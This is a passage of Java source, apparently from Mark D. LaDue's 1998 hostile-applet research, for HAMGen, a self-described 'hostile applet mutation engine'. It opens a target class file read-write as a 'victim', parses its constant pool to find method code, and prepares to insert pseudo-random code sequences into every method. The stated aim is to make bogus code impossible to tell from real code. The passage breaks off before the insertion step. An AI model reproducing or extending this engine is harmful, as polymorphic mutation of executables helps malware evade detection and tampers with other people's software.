/* HAMGen.java by Mark D. LaDue */ /* March 15, 1998 */ /* Copyright (c) 1997 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* A simple hostile applet mutation engine, HAMGen.java inserts one of ten pseudo-randomly chosen sequences of code into each method of a Java class file. So an applet with 5 methods (init(), start(), stop(), run() and a contructor, for example) could have 10^5 = 100,000 distinct mutations induced by HAMGen. Needless to say, more sophisticated programs could insert viable code into all parts of class files and make the task of distinguishing bogus code from real code impossible, but this simple example suffices to make a point. */ import java.io.*; import java.util.*; class HAMGen { public static void main(String[] argv) { int fpointer = 8; // Where are we in the class file? int cp_entries = 1; // How big is the constant pool? int Code_entry = 1; // Where is the entry that denotes "Code"? int num_interfaces = 0; // How many interfaces does it use? int num_fields = 0; // How many fields are there? int num_f_attributes = 0; // How many attributes does a field have? int num_methods = 0; // How many methods are there? int num_m_attributes = 0; // How many attributes does a method have? // How many bytes (plus a return) should be inserted into each method? int insert_bytes = 1; // Generates pseudo-random numbers for insert_bytes Random num_gen = new Random(System.currentTimeMillis()); // How on earth do I use this thing? if (argv.length != 1) { System.out.println("Try \"java HAMGen class_file.class\""); System.out.println(); System.exit(1); } try { RandomAccessFile victim = new RandomAccessFile(argv[0], "rw"); // Skip the magic number and versions and start looking at the class file victim.seek(fpointer); // Determine how many entries there are in the constant pool cp_entries = victim.readUnsignedShort(); fpointer += 2; // Look at each entry in the constant pool and advance to the next one // according to its size for (int i = 1; i < cp_entries; i++) { int tag = victim.readUnsignedByte(); fpointer++; int skipper = 0; int test_int = 0; switch (tag) { case 7: case 8: fpointer = fpointer + 2; break; case 3: case 4: case 9: case 10: case 11: case 12: fpointer = fpointer + 4; break; case 5: case 6: fpointer = fpointer + 8; i++; break; // This is the critical case - determine an entry in the constant pool where // the string "Code" is found so we can later identify the code attributes // for the class's methods case 1: skipper = victim.readUnsignedShort(); if (skipper == 4) { fpointer += 2; victim.seek(fpointer); test_int = victim.readInt(); if (test_int == 1131373669) {Code_entry = i;} fpointer = fpointer + skipper; } else {fpointer = fpointer + skipper + 2;} break; } victim.seek(fpointer); } // Skip ahead and see how many interfaces the class implements fpointer += 6; victim.seek(fpointer); num_interfaces = victim.readUnsignedShort(); // Bypass the interface information fpointer = fpointer + 2*(num_interfaces) + 2; victim.seek(fpointer); // Determine the number of fields num_fields = victim.readUnsignedShort(); // Bypass the field information fpointer += 2; victim.seek(fpointer); for (int j=0; j